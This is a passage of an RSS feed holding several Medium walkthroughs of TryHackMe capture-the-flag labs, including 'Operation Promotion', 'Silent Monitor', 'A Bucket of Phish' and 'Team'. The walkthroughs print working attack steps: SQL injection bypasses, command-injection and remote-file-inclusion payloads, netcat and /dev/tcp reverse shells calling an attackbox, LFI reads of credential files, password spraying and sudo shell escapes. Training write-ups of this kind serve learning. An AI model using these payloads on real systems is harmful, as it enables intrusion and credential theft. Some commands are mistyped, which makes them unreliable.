flag (THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2})was in the /admin path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avxTzvsVYnRUhQ-QHCj58g.png" /></figure><p>With the nexus_session of laura.hayes and the JWT forged earlier, I was able to exploit the “/api/files.php?name=” function which was vulnerable to RFI and get a reverse shell.</p><pre>V SETTING UP A NETCAT LISTENER V<br>nc - lvnp 4444<br><br>V THIS WAS THE <br>http://[target_ip]/api/files.php?name=http://[attackbox_ip]:8000/revshell.php</pre><p>After getting the reverse shell I was able to cat the flag(THM{rf1_2_rc3_f00th0ld_fl4g3}) inside /opt/flag3.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtA6ASCTZsB3uR6PhJacNA.png" /></figure><p>I was able to switch users into “devops” with a password found in /var/www/html/config.php, the flag (THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}) was found in this user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*06gJDU4P8g_hbq0IV3bdfQ.png" /></figure><p>From there I was able to get root privileges and get the flag (THM{pr1v3sc_cr0n_r00t_fl4g5}) inside root.txt by injecting a reverse shell payload into /opt/monitoring/health_report.sh, this script runs automatically by root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1JQJVZaZM93RGMMklT4d4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*IuBrbD3s03z1vrhi8OfNxA.png" /></figure><p><strong>Conclusion</strong></p><p>As the title of this CTF suggested, this was really like domino, every step was dependant on getting the step before just right.</p><p>We started with enumerating the machine and the web server hosted on it, made a list of possible usernames and then cracked their password by password spraying with hydra, after logging in we were able to obtain the first flag by exploiting an IDOR vulnerability in the “My Profile API” page.</p><p>By forging a JWT with an alg set to “none” we were able to bypass signature verification, this ultimately led to the obtaining of the admin user’s cookie which allowed us to log in and get the second flag.</p><p>With all these dominoes knocked we were able to exploit an RFI vulnerability and get a reverse shell that allowed us to get the third flag.</p><p>By inspecting various files we were able to move laterally by finding another user’s password in plain text, this allowed for us to get the fourth flag.</p><p>We were then able to escalate our privileges to root and get our fifth and last flag by exploiting insecure file permissions to a cron job.</p><p>Thank you so much for reading this far, this was a very hard CTF for me and I depended largely on Djalil Ayed’s walkthrough (<a href="https://www.youtube.com/watch?v=j1YuWAfxG10">https://www.youtube.com/watch?v=j1YuWAfxG10</a>) for some parts I got stuck on so it was very instructive.</p><p>Also — thank you user “thmflags” for your support and for asking for this walkthrough :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89d4f29d0127" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Operation Promotion” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-operation-promotion-ctf-walkthrough-c5a5521eab17?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5a5521eab17</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Wed, 03 Jun 2026 20:54:57 GMT</pubDate>
            <atom:updated>2026-06-03T20:54:57.767Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/465/1*MinIA_KKcqFb0dclQkZMGg.png" /><figcaption>One engagement stands between you and your next title.</figcaption></figure><p>Started by enumerating the machine with nmap, found a few open ports:</p><pre>nmap -sV -sS -T4 -p- [target_ip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E0lS4KP5WFFKruQ0qJRzfA.png" /></figure><p>I ran gobuster to enumerate the web server’s directories and found an admin login page.</p><pre>gobuster dir -u /usr/share/wordlists/dirb/common.txt http://[target_ip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHN0WIS3mh8YQYflKB5kuw.png" /></figure><p>The login page form was vulnerable to an SQL injection</p><pre>&#39; OR 1=1 -- -</pre><p>In the /admin/dashboard.php path we had a user lookup tool that allowed us to view user record by providing an ID.</p><p>The user with the id of 7 had a note that exposed a path to a ping.php file which was vulnerable to command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Si4CYC3gi-oQB_kL9jvQdQ.png" /></figure><p>I was able to view the source code for ping.php by injecting the following code into the path</p><pre>http://[target_ip]/admin/sysmaint-checks/ping.php?host=10.0.0.0%0acat%20ping.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/830/1*kKVMpfK2auuKMVdO0OgnFg.png" /></figure><p>from this I was able to inject a reverse shell payload and gain access to www-data.</p><pre>V LISTENER SET UP ON MY ATTACKBOX V <br>nc -lvnp 4444<br><br>V THIS WAS THE PAYLOAD INJECTED V<br>10.0.0.0%0arm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%20http%3A%2F%2F[attackbox_ip]%204444%20%3E%2Ftmp%2Ff</pre><p>When reviewing /var/www/html/admin/index.php I found a call in the code to a database (/var/lib/recruitcorp/app.db).</p><p>Using sqlite3 to read the mentioned database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9ElaLCCctnoWmbrztf1YQ.png" /></figure><p>I also found a password for a user name jford encrypted with bcrypt but was not able to crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hoMH_Gt_JgZhRrnDqqHq6g.png" /></figure><p>At this point I got completely stuck and to be honest, for the next part I had to get some ideas from other walkthroughs, to be completely transparent I think this solution is stupid, but that’s the way this lab was built I guess.</p><p>Credit given to 0xb0b and his great walkthrough over at <a href="https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-promotion">https://0xb0b.gitbook.io/writeups/tryhackme/2026/operation-promotion</a> , for the next part of the solution.</p><p>When looking at the main page we can see the main theme is “spring 2026”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iSpJBMdl0t_1ZG7Ur3hNdQ.png" /></figure><p>So with that in mind, we will create a custom wordlist that we will later use to password spray the user “jford” and gain access to his user via ssh.</p><p>We start by creating a text file containing the word “Spring2026”</p><pre>echo Spring2026 &gt; spring2026.txt</pre><p>We will then use hashcat to transform our one word text file to a wordlist containing thousands of variations of our word.</p><pre>hashcat --stdout spring.txt -r /usr/local/hashcat/rules/dive.rule &gt; wordlist.txt</pre><p>With that done we can use hydra to password spray the user “jford”</p><pre>hydra -vv -l jford -P wordlist.txt 10.114.139.118 ssh</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPitTUc8HH_V_cLYZSneyw.png" /></figure><p>Now that we cracked the password for user jford we can connect to ssh and obtain the flag (THM{bdbee0a91ebcb0b0fafde931223efe09}) that is located in the user’s home folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*ytmPT9c1hYyA1xCl-IFmkA.png" /></figure><p>After investigating jford’s permissions we were able to see he has root permissions to run the find command</p><pre>sudo -l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qnM7V7HYePn-UitofMw4sg.png" /></figure><p>That means we can get a shell as root by running the find command with the -exec flag (credit to gtfobins.org for this payload, check them out at <a href="https://gtfobins.org/gtfobins/find/#shell">https://gtfobins.org/gtfobins/find/#shell</a>)</p><pre>sudo find . -exec /bin/sh \; -quit</pre><p>With that done we are now the root user and we’re able to read the flag (THM{d999a1f6319a9c5b48c067dfab314ba2}) in the root directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*jB8Ua-Jw4ihfGn5SmB36IQ.png" /></figure><p><strong>Conclusion</strong></p><p>In this very instructive CTF we began by enumerating the machine that led to finding a login page vulnerable to SQL injection. We were able to obtain a reverse shell thanks to a php script vulnerable to os command injection.</p><p>We were able to gain access to a privileged user name “jford” by creating a custom wordlist and using it to password spray them, this led to us obtaining the first flag as well as achieving root privileges and obtaining the second flag by running a command through jford with root permissions.</p><p>I learned a lot from this CTF and I hope you guys enjoyed it as well, thank you so much for reading this far!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5a5521eab17" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Silent Monitor” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-silent-monitor-ctf-walkthrough-779e2807dbb6?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/779e2807dbb6</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Tue, 02 Jun 2026 19:16:57 GMT</pubDate>
            <atom:updated>2026-06-02T19:16:57.047Z</atom:updated>
            <content:encoded><![CDATA[<p>Started with scanning the host machine for all ports.</p><pre>nmap -sS -sV -T4 -p- [target_ip]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XApSc_Zae_zj0xId_iXblA.png" /></figure><p>I then ran GoBuster to enumerate the web server directories and found an internal login page at “/internal”.</p><pre>gobuster dir -u [target_ip]:5050 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*0Wa0_HDXnl3baFpiNaK2Mw.png" /></figure><p>I was able to log in by exploiting the post form by injecting an SQL query into the username and password.</p><pre>&#39; OR 1=1 -- -</pre><p>I was able to achieve RCE by exploiting the connectivity probe tool with BurpSuite.</p><pre>10.0.0.1%0als</pre><p>Running ls exposed a file named “secret.config” which contained a password to a backup agent named sysadmin which had the flag in the user.txt file in his home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*OAEcbk6d17ICVruytN88TQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*gCzpmIjMcszx7bERTfk3Fw.png" /></figure><p>THM{sQli_4nd_cMd_1nj3ct10n_l3D_y0u_h3re!}</p><p>In the “backups” folder there was a password database file (.kdbx), after serving the file to my machine I used keepass2john and john to crack the password (spring)</p><pre>keepass2john infrastructure.kdbx &gt; hash.txt<br>john --wordlist /usr/share/wordlists/rockyou.txt hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*gZq9JCv7TR2nV7cckJFGiw.png" /></figure><p>In the password database there was an admin user name and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QSY0__gD98Dzpe_Y_EduWA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ciruCvkmRLL8k_PW-Ss8cQ.png" /></figure><p>I then logged in with the mentioned credentails and was able to obtain the flag in root directory (THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN})</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*pRJYlxxEwPbYGdMwilKRZQ.png" /></figure><p><strong>Conclusion:</strong></p><p>In this super fun CTF we were able to chain multiple vulnerabilities and gain root access.</p><p>We started by enumerating the web server’s directories, found a login page vulnerable to SQL injection, logged in and were able to gain RCE by exploiting a vulnerable tool on the dashboard; This led to finding credentials to an ssh user (and the flag that was in its home directory), after we logged in we were able to get the root user password by cracking the password to the Keepass password safe with John The Ripper, with that done we were able to retrieve all flags.</p><p>Thank you so much for reading!</p><p>If you enjoy the way I present these walkthrough please follow me as hopefully many writeups to TryHackMe labs will follow.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=779e2807dbb6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “A Bucket of Phish” CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-a-bucket-of-phish-ctf-walkthrough-64b9d75783ea?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/64b9d75783ea</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[aws-s3-bucket]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Mon, 25 May 2026 18:34:47 GMT</pubDate>
            <atom:updated>2026-05-26T12:09:39.669Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*c80DZBxmZqCCOUd_SyFUAw.png" /><figcaption>DarkInjector has been using a Cmail phishing website to try to steal our credentials. We believe some of our users may have fallen for his trap. Can you retrieve the list of victim users?</figcaption></figure><p>Started with browsing the link provided in the CTF and trying to log in legitimately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XiYzf5eGSZZtUcmYBnHinw.png" /></figure><p>I tried requesting the exact same thing as last time but with a “GET” method instead of “POST”, I got this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XX5Q3vd_CLWbhqi-hrSJuw.png" /></figure><p>I ran gobuster in the background that reaped no results.</p><p>When enumerating the bucket using the aws command with no sign request, I found and downloaded a suspicious file that contained the flag THM{this_is_not_what_i_meant_by_public} .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LlTwzvnWPfpY6xnlmL1OwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mj8uzjPcPxgKE0KiKRY7Tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*28-1e2pmyABhtYtZb3UEzg.png" /></figure><p>Conclusions:<br>This was a great beginnner aws cloud CTF - we were able to retrieve the file containing the flag due to a security misconfiguration in the S3 bucket’s policy, which left it publicly accessible. By utilizing the --no-sign-request flag, we successfully accessed and listed the bucket&#39;s contents via an anonymous request without requiring valid AWS credentials.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64b9d75783ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe’s “Team ”CTF Walkthrough]]></title>
            <link>https://medium.com/@duvdeven/tryhackmes-team-ctf-walkthrough-49ab710e85fe?source=rss-7767ce5b37ba------2</link>
            <guid isPermaLink="false">https://medium.com/p/49ab710e85fe</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Omer David]]></dc:creator>
            <pubDate>Wed, 20 May 2026 09:56:43 GMT</pubDate>
            <atom:updated>2026-05-20T09:56:43.724Z</atom:updated>
            <content:encoded><![CDATA[<p>Scanned for open ports on the machine (target_machine ip changed during this solve due to few takes…)</p><pre>nmap -sV -sT 10.113.180.115</pre><p>This is the scan result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NBvBnT9SSeWriZRVOtdGA.png" /></figure><p>Found 3 open ports: 21, 22, 80.</p><p>I viewd the source code at <a href="http://[target_machine]">http://[target_machine]</a> and saw a comment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BYPrdj0QHFeseUGjir4e7Q.png" /></figure><p>So, I added team.thm to my /etc/host file and viewed the website properly.:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y8PiZRfoHfVUVoIPCiGBIw.png" /></figure><p>Directory enum on <a href="http://team.thm/">http://team.thm</a> with gobuster:</p><pre>gobuster dir -u http://team.thm/ -w /usr/share/wordlists/dirb/common.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hZJxDecf15UMyhf7gBfaLA.png" /></figure><p>In the <a href="http://team.thm/robots.txt">http://team.thm/robots.txt</a> page there was a username: “dale”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umyhkwSMnUCtuY_ZQdjpcg.png" /></figure><p>Checked for text files inside the scripts folder:</p><pre>gobuster dir -u http://team.thm/scripts -w /usr/share/wordlists/dirb/common.txt -x .txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6xrFej0PtGknQxZanLRMaA.png" /></figure><p>Curling the /scripts/script.txt showed a message within the html:</p><blockquote># Updated version of the script<br># Note to self had to change the extension of the old “script” in this folder, as it has creds in</blockquote><p>Curling /script/script.old provided the credentials.:</p><blockquote>user- ftpuser</blockquote><blockquote>passwd- T3@m$h@r3</blockquote><p>In the ftp, under “workshare” directory I found and retrieved “New_site.txt”</p><pre>get New_site.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-r31I7hE1UQQy6WR6FTLg.png" /></figure><p>This hinted to a .dev in the domain, so I added dev.team.thm to the /etc/hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0AZBhdhYCBdz6xu0qX49A.png" /></figure><p>The .dev directed to a script that was suspicious for LFI vulnerability</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_rhu5HbRepr93_klbUa1PA.png" /></figure><p>So I decided to curl</p><pre>curl http://dev.team.thm/script.php?page=/etc/passwd</pre><p>This was proven successful so I wanted to see the ssh config</p><pre>curl http://dev.team.thm/script.php?page=/etc/ssh/sshd_config</pre><p>In the sshd_config page I found dale’s id_rsa commented:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qrng3bvDpCrEMbiwCiJHYA.png" /></figure><p>I logged in using this private key by creating a file named id_rsa and removing all #’s.</p><p>I also made sure the file had proper permissions.</p><pre>ssh dale@team.thm -i id_rsa<br>chmod 600 id_rsa</pre><p>In dale’s directory the flag was found under “user.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-r8Zsb6YQskG_2VaWa212Q.png" /></figure><p>A different user, named “gyles” had a script that was vulnerable to command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bp7iT-8gdxgFPR81-DJF-A.png" /></figure><p>It runs the contents of $error without any sanitization.</p><p>sudo -l showed that I cant run this script, as use “gyles” without a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eymkdqzDZu4V2IJQk8uQ2A.png" /></figure><p>Knowing this script was vulnerable to command injections, I ran it as gyles and opened a shell by injecting “/bin/bash”/ into $error</p><pre>sudo -u gyles /home/gyles/admin_checks<br><br>#THE INJECTION -<br>Enter &#39;date&#39; to timestamp the file: /bin/bash</pre><p>Now I was logged in as gyles.</p><p>In the .bash_history file I found a hint to a shell script called main_backup.sh that gyles can write to and execute as root.</p><p>I got a reverse shell by setting a listener on port 4444 in my attackbox and used a payload from revshells.com:</p><pre>nc -lvnp 4444<br>bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.112.77.80/4445 0&gt;&amp;1&#39;<br>#CONNECT TO ATTACKBOX IP FROM TARGET MACHINE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cq4SpMtT2sqbwXhd9z3UGw.png" /></figure><p>The script was ran by cron with root permissions and a shell was obtained as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LatOk0CUsEeLqJgWs2royA.png" /></figure><p>The flag was in the root user directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*hpdUy7w4BtT1KRmkI2uDgQ.png" /></figure><p><strong>Conclusion:</strong></p><p>In this awesome CTF on TryHackme we started with port enumeration on the target machine, we then conducted directory enumeration on the web application (Port 80) and found an old script with credentials, this lead to finding an LFI vulnerability that allowed us to access a user’s private openssh key; We were able to move lateraly by exploiting a .sh file vulnerable to command injection, from there root privileges were obtained by a cron job that automatically ran a reverse shell payload put on .sh file.</p><p>This was my first write-up, with many more to come hopefully.</p><p>Thank you for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49ab710e85fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>